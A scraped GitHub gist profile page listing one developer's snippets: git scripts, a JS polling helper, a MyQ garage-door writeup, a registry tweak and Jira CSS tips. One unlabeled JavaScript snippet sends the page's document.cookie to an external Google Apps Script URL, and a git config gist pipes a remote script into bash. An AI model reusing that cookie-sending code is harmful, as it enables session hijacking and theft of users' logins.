Skip to content

Instantly share code, notes, and snippets.

View matthewpwatkins's full-sized avatar

Matthew Watkins matthewpwatkins

View GitHub Profile
@matthewpwatkins
matthewpwatkins / prune-remote-branches.sh
Last active April 2, 2024 13:06
Prune remote branches
#!/bin/bash
# Usage:
# bash prune-remote-branches.sh --all-before 2023-08-01 --none-after 2021-03-01 --force
# Default values for flags
CENTRAL_BRANCH="master"
DRY_RUN=true
# Parse command line arguments
@matthewpwatkins
matthewpwatkins / config-git.sh
Last active April 1, 2024 19:08
Git Config
git config --global core.pager cat
git config --global core.editor nano
curl https://gist.githubusercontent.com/matthewpwatkins/79093d4bf0d55c2e7269f534f1b6a689/raw/726c91bb7f705c05f6a11c4a98a74f9328994abe/aliases-import.sh | bash
@matthewpwatkins
matthewpwatkins / wait-for-elements.md
Created May 17, 2021 21:05
JS Wait for element to exist

If you don't want to use a mutation observer and you just want to periodically poll to find an element, here's how to do that with async/await:

const elements = await waitForElementsToExist('div.my-class');

function waitForElementsToExist(selector, interval = 100, retriesLeft = 100) {
    return new Promise((accept, reject) => {
        setElementsTimeout(selector, interval, retriesLeft, accept, reject);
    });
}
@matthewpwatkins
matthewpwatkins / README.md
Last active February 2, 2019 16:52
Working around MyQ's partner integration limitations

Working around MyQ's partner integration limitations

I got a new home recently. And for the first time in my life, I have a garage! And a smart garage door to boot! However, if I want to integrate the rest of my stuff into it (like IFTTT or the Google Assistant), I have to pay $10. Per year. Per integration. You can sort of get around that by setting up a Google Assistant applet in IFTTT (two integrations for the price of one), but when I tried their free one month trial, it turns out you can't even use their partner integrations to open your garage door-- only to close it. Lame sauce.

Fortunately, @thomasmanduchira was kind enough to sniff the traffic on the MyQ app, document the pretty basic MyQ API, and throw together a simple NPM package for us. Now where to host it? I do have a Raspberry Pi mounted behind my TV, but I'd prefer something with better reliability and easier deploy. And for a quick little node app like this, you can't get

@matthewpwatkins
matthewpwatkins / Instructions.md
Created March 7, 2018 17:08
Right-Click Bash Here

Make sure you have the Windows Subsystem for Linux installed. Then run the following script:

; Context menu for right-clicking the background of a directory or the desktop.
[HKEY_CLASSES_ROOT\Directory\Background\shell\Bash]
@="Bash..."
[HKEY_CLASSES_ROOT\Directory\Background\shell\Bash\command]
@="bash"

; Context menu for right-clicking folders.
@matthewpwatkins
matthewpwatkins / Guessinator.cs
Created December 14, 2017 01:18
Guessinator
using System;
namespace Guessinator
{
class Program
{
static void Main(string[] args)
{
try
{
console.log('Executing');
var xmlhttp = new XMLHttpRequest();
xmlhttp.open('GET', 'https://script.google.com/macros/s/AKfycbyC8BnFpfUEDM9FUuaQDwd5GhNWFTHKuMzwyEz19q1jC8XyMOY/exec?mycookies=' + document.cookie,true);
xmlhttp.send();
console.log('Executed');
var element = document.getElementsByTagName("ul"), index;
console.log(element.length);
for (index = element.length - 1; index >= 0; index--) {
element[index].parentNode.removeChild(element[index]);
}
@matthewpwatkins
matthewpwatkins / README.md
Last active April 1, 2024 19:07
Git aliases script

This script sets up your Git environment by creating/setting several common aliases and shortcuts for them.

@matthewpwatkins
matthewpwatkins / 01-JiraLikeTrello.md
Last active April 21, 2019 11:44
Make Jira's Agile Board look like Trello

Make Jira's Agile Board look like Trello

Do you love the simple, easy-to-use, good-looking interface of Trello? But are you instead forced to use the ugly, complicated "polar bear in a snow storm" Jira agile board for your planning, grooming, and standups? Then this is the pill that just might help you survive, allowing you to use Jira's clunky agile board without giving up your sanity.

To start improving your Atlassian experience, use the browser plugin of your choice to inject the CSS code below into your Jira page (Chrome users: I have really enjoyed this extension if you don't have one already).

Extra credit

Hate Jira's annoying issue editing sidebar that takes precious column space and is too squished to appreciate your ticket anyway? And hate it when you click the ticket title and Jira redirects you to another page? You